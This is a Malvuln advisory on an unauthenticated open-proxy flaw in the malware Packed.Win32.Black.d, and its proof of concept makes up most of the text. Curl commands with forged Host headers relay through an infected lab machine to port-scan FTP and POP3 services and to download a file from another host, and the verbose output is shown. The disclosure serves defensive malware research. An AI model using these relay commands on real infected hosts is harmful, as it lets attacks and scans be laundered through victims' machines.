Authored by malvuln | Site malvuln.com

Packed.Win32.Black.d malware has an unauthenticated open proxy vulnerability.

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/17e3836682ffb0913459ece7c3f0786d.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Packed.Win32.Black.d
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080 and drops one of two executables named "Unknown.exe" or "Internet Explorer.exe under Windows dir". Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems.
Type: PE32
MD5: 17e3836682ffb0913459ece7c3f0786d
Vuln ID: MVID-2021-0183
Dropped files: "Unknown.exe" or "Internet Explorer.exe"
Disclosure: 04/21/2021

Exploit/PoC:
Port scan FTP port 21)

curl http://192.168.88.128:8080 -H "Host: 192.168.88.129:21" -v
Rebuilt URL to: http://192.168.88.128:8080/
Trying 192.168.88.128...
TCP_NODELAY set
Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0)
GET / HTTP/1.1
Host: 192.168.88.129:21
User-Agent: curl/7.55.1
Accept: */*

220 INetSim FTP Service ready.
500 Unknown command.

Port scan POP3 port 110)

curl http://192.168.88.128:8080 -H "Host: 192.168.88.129:110" -v
Rebuilt URL to: http://192.168.88.128:8080/
Trying 192.168.88.128...
TCP_NODELAY set
Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0)
GET / HTTP/1.1
Host: 192.168.88.129:110
User-Agent: curl/7.55.1
Accept: */*

+OK INetSim POP3 Server ready <[email protected]>
-ERR Unknown command.

Download files)

curl http://192.168.88.128:8080/DOOM.exe -H "Host: 192.168.88.129:2222" --output DOOM.exe -v
Trying 192.168.88.128...
TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0)
GET /DOOM.exe HTTP/1.1
Host: 192.168.88.129:2222
User-Agent: curl/7.55.1
Accept: */*

HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.6
Date: Wed, 21 Apr 2021 00:14:34 GMT
Content-type: application/x-msdos-program
Content-Length: 103533
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT

{ [78487 bytes data]
75 101k 75 78487 0 0 78487 0 0:00:01 0:00:01 --:--:-- 71808* transfer closed with 25046 bytes remaining to read
75 101k 75 78487 0 0 78487 0 0:00:01 0:00:01 --:--:-- 67895
* Closing connection 0


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